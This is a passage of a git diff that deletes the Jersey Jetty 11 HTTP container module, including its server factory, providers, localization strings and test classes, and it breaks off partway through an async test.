-import org.eclipse.jetty.server.HttpConnectionFactory;
-import org.eclipse.jetty.server.SecureRequestCustomizer;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-import org.eclipse.jetty.server.SslConnectionFactory;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.eclipse.jetty.util.thread.QueuedThreadPool;
-
-/**
- * Factory for creating and starting Jetty server handlers. This returns
- * a handle to the started server as {@link Server} instances, which allows
- * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method.
- * <p/>
- * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
- * This will be used to decrypt and encrypt information sent over the
- * connected TCP socket channel.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public final class JettyHttpContainerFactory {
-
-    private JettyHttpContainerFactory() {
-    }
-
-    /**
-     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *            segment will be used as context path, the rest will be ignored.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri) throws ProcessingException {
-        return createServer(uri, null, null, true);
-    }
-
-    /**
-     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *              segment will be used as context path, the rest will be ignored.
-     * @param start if set to false, server will not get started, which allows to configure the underlying transport
-     *              layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
-        return createServer(uri, null, null, start);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri    the URI to create the http server. The URI scheme must be
-     *               equal to "http". The URI user information and host
-     *               are ignored If the URI port is not present then port 80 will be
-     *               used. The URI path, query and fragment components are ignored.
-     * @param config the resource configuration.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config)
-            throws ProcessingException {
-
-        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
-        return createServer(uri, null, container, true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
-     *                      used as context path, the rest will be ignored.
-     * @param configuration web application configuration.
-     * @param start         if set to false, server will not get started, which allows to configure the underlying
-     *                      transport layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
-            throws ProcessingException {
-        return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
-    }
-
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @param start         if set to false, server will not get started, this allows end users to set
-     *                      additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     * @since 2.12
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
-                                      final Object parentContext) {
-        return createServer(uri, null, new JettyHttpContainer(config, parentContext), start);
-    }
-
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     * @since 2.12
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
-        return createServer(uri, null, new JettyHttpContainer(config, parentContext), true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param config            the resource configuration.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
-                                      final ResourceConfig config)
-            throws ProcessingException {
-        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
-        return createServer(uri, sslContextFactory, container, true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes found by searching the
-     * classes referenced in the java classpath.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param handler           the container that handles all HTTP requests
-     * @param start             if set to false, server will not get started, this allows end users to set
-     *                          additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     */
-    public static Server createServer(final URI uri,
-                                      final SslContextFactory.Server sslContextFactory,
-                                      final JettyHttpContainer handler,
-                                      final boolean start) {
-        if (uri == null) {
-            throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
-        }
-        final String scheme = uri.getScheme();
-        int defaultPort = Container.DEFAULT_HTTP_PORT;
-
-        if (sslContextFactory == null) {
-            if (!"http".equalsIgnoreCase(scheme)) {
-                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
-            }
-        } else {
-            if (!"https".equalsIgnoreCase(scheme)) {
-                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
-            }
-            defaultPort = Container.DEFAULT_HTTPS_PORT;
-        }
-        final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort();
-
-        final Configuration configuration = handler != null ? handler.getConfiguration() : null;
-        final Server server = new Server(new JettyConnectorThreadPool(configuration));
-        final HttpConfiguration config = new HttpConfiguration();
-        if (sslContextFactory != null) {
-            config.setSecureScheme("https");
-            config.setSecurePort(port);
-            config.addCustomizer(new SecureRequestCustomizer());
-
-            final ServerConnector https = new ServerConnector(server,
-                    new SslConnectionFactory(sslContextFactory, "http/1.1"),
-                    new HttpConnectionFactory(config));
-            https.setPort(port);
-            server.setConnectors(new Connector[]{https});
-
-        } else {
-            final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config));
-            http.setPort(port);
-            server.setConnectors(new Connector[]{http});
-        }
-        if (handler != null) {
-            server.setHandler(handler);
-        }
-
-        if (start) {
-            try {
-                // Start the server.
-                server.start();
-            } catch (final Exception e) {
-                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
-            }
-        }
-        return server;
-    }
-
-    // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html
-    //  #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory)
-    //
-    //  Keeping this for backwards compatibility for the time being
-    private static final class JettyConnectorThreadPool extends QueuedThreadPool {
-        private final ThreadFactory threadFactory;
-
-        private JettyConnectorThreadPool(Configuration configuration) {
-            final LoomishExecutors executors = VirtualThreadUtil.withConfig(configuration, false);
-            if (executors.isVirtual()) {
-                super.setMaxThreads(Integer.MAX_VALUE - 1);
-            }
-
-            this.threadFactory = new ThreadFactoryBuilder()
-                    .setNameFormat("jetty-http-server-%d")
-                    .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler())
-                    .setThreadFactory(executors.getThreadFactory())
-                    .build();
-        }
-
-        @Override
-        public Thread newThread(Runnable runnable) {
-            return threadFactory.newThread(runnable);
-        }
-    }
-}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
deleted file mode 100644
index 4b80825..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.spi.ContainerProvider;
-
-/**
- * Container provider for containers based on Jetty Server {@link org.eclipse.jetty.server.Handler}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public final class JettyHttpContainerProvider implements ContainerProvider {
-
-    public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler";
-    @Override
-    public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
-            return type.cast(new JettyHttpContainer(application));
-        }
-        return null;
-    }
-
-    public <T> T createContainer(final Class<T> type, final Application application,
-                                 Object parentContext) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
-            return type.cast(new JettyHttpContainer(application, parentContext));
-        }
-        return null;
-    }
-
-}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
deleted file mode 100644
index dca75e0..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
-import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CompletionException;
-
-import jakarta.ws.rs.SeBootstrap;
-import jakarta.ws.rs.core.Application;
-
-import org.eclipse.jetty.server.ServerConnector;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
-import org.glassfish.jersey.server.spi.WebServer;
-
-/**
- * Jersey {@code Server} implementation based on Jetty
- * {@link org.eclipse.jetty.server.Server Server}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-final class JettyHttpServer implements WebServer {
-
-    private final JettyHttpContainer container;
-
-    private final org.eclipse.jetty.server.Server httpServer;
-
-    JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
-        this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
-    }
-
-    JettyHttpServer(final Class<? extends Application> applicationClass,
-                      final JerseySeBootstrapConfiguration configuration) {
-        this(new JettyHttpContainer(applicationClass), configuration);
-    }
-
-    JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
-        final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
-                .sslClientAuthentication();
-        final SslContextFactory.Server sslContextFactory;
-        if (configuration.isHttps()) {
-            sslContextFactory = new SslContextFactory.Server();
-            sslContextFactory.setSslContext(configuration.sslContext());
-            sslContextFactory.setWantClientAuth(sslClientAuthentication == OPTIONAL);
-            sslContextFactory.setNeedClientAuth(sslClientAuthentication == MANDATORY);
-        } else {
-            sslContextFactory = null;
-        }
-        this.container = container;
-        this.httpServer = JettyHttpContainerFactory.createServer(
-                configuration.uri(true),
-                sslContextFactory,
-                this.container,
-                configuration.autoStart());
-    }
-
-    @Override
-    public final JettyHttpContainer container() {
-        return this.container;
-    }
-
-    @Override
-    public final int port() {
-        final ServerConnector serverConnector = (ServerConnector) this.httpServer.getConnectors()[0];
-        final int configuredPort = serverConnector.getPort();
-        final int localPort = serverConnector.getLocalPort();
-        return localPort < 0 ? configuredPort : localPort;
-    }
-
-    @Override
-    public final CompletableFuture<Void> start() {
-        return CompletableFuture.runAsync(() -> {
-            try {
-                this.httpServer.start();
-            } catch (final Exception e) {
-                throw new CompletionException(e);
-            }
-        });
-    }
-
-    @Override
-    public final CompletableFuture<Void> stop() {
-        return CompletableFuture.runAsync(() -> {
-            try {
-                this.httpServer.stop();
-            } catch (final Exception e) {
-                throw new CompletionException(e);
-            }
-        });
-    }
-
-    @Override
-    public final <T> T unwrap(final Class<T> nativeClass) {
-        return nativeClass.cast(this.httpServer);
-    }
-
-}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
deleted file mode 100644
index 395a9f9..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.SeBootstrap;
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
-import org.glassfish.jersey.server.spi.WebServer;
-import org.glassfish.jersey.server.spi.WebServerProvider;
-
-/**
- * Server provider for servers based on Jetty
- * {@link org.eclipse.jetty.server.Server Server}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-public final class JettyHttpServerProvider implements WebServerProvider {
-
-    @Override
-    public <T extends WebServer> T createServer(final Class<T> type, final Application application,
-                                                      final SeBootstrap.Configuration configuration) {
-        return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
-                ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
-                : null;
-    }
-
-    @Override
-    public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
-                                                final SeBootstrap.Configuration configuration) {
-        return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
-                ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
-                : null;
-    }
-}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
deleted file mode 100644
index 27763d0..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey Jetty container classes.
- */
-package org.glassfish.jersey.jetty;
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
deleted file mode 100644
index 6b9cc26..0000000
--- a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.jetty.JettyHttpContainerProvider
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
deleted file mode 100644
index 641eaee..0000000
--- a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.jetty.JettyHttpServerProvider
diff --git a/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
deleted file mode 100644
index f6be7cf..0000000
--- a/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
+++ /dev/null
@@ -1,25 +0,0 @@
-#
-# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-container.started=JettyHttpContainer.handle(...) started.
-exception.sending.error.response=I/O exception occurred while sending "{0}/{1}" error response.
-error.when.creating.server=Exception thrown when trying to create jetty server.
-unable.to.close.response=Unable to close response output.
-uri.cannot.be.null=The URI must not be null.
-wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
-wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
-not.supported=Jetty container is not supported on JDK version less than 11.
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
deleted file mode 100644
index 7519624..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2022 Contributors to the Eclipse Foundation
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import java.net.URI;
-import java.security.AccessController;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-import org.junit.jupiter.api.AfterEach;
-
-/**
- * Abstract Jetty Server unit tester.
- *
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Miroslav Fuksa
- */
-public abstract class AbstractJettyServerTester {
-
-    private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName());
-
-    public static final String CONTEXT = "";
-    private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
-
-    /**
-     * Get the port to be used for test application deployments.
-     *
-     * @return The HTTP port of the URI
-     */
-    protected final int getPort() {
-        if (server != null) {
-            return ((ServerConnector) server.getConnectors()[0]).getLocalPort();
-        }
-
-        final String value = AccessController
-                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
-        if (value != null) {
-
-            try {
-                final int i = Integer.parseInt(value);
-                if (i < 0) {
-                    throw new NumberFormatException("Value is negative.");
-                }
-                return i;
-            } catch (NumberFormatException e) {
-                LOGGER.log(Level.CONFIG,
-                        "Value of 'jersey.config.test.container.port'"
-                                + " property is not a valid non-negative integer [" + value + "]."
-                                + " Reverting to default [" + DEFAULT_PORT + "].",
-                        e);
-            }
-        }
-        return DEFAULT_PORT;
-    }
-
-    private final int getPort(RuntimeType runtimeType) {
-        switch (runtimeType) {
-            case SERVER:
-                return getPort();
-            case CLIENT:
-                return server.getURI().getPort();
-            default:
-                throw new IllegalStateException("Unexpected runtime type");
-        }
-    }
-
-    private volatile Server server;
-
-    public UriBuilder getUri() {
-        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
-    }
-
-    public void startServer(Class<?>... resources) {
-        ResourceConfig config = new ResourceConfig(resources);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        startServer(config);
-    }
-
-    public void startServer(ResourceConfig config) {
-        final URI baseUri = getBaseUri();
-        server = JettyHttpContainerFactory.createServer(baseUri, config);
-        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + getBaseUri());
-    }
-
-    public URI getBaseUri() {
-        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
-    }
-
-    public void stopServer() {
-        try {
-            server.stop();
-            server = null;
-            LOGGER.log(Level.INFO, "Jetty-http server stopped.");
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    @AfterEach
-    public void tearDown() {
-        if (server != null) {
-            stopServer();
-        }
-    }
-}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
deleted file mode 100644
index dfc66b0..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
+++ /dev/null
@@ -1,169 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicInteger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.is;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Michal Gajdos
- */
-public class AsyncTest extends AbstractJettyServerTester {
-
-    @Path("/async")
-    @SuppressWarnings("VoidMethodAnnotatedWithGET")
-    public static class AsyncResource {
-
-        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
-
-        @GET
-        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(5000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(final AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
-                            .build());
-                }
-            });
-            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(7000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("multiple-invocations")
-        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
-            INVOCATION_COUNT.incrementAndGet();
-
-            new Thread(new Runnable() {
-                @Override
-                public void run() {
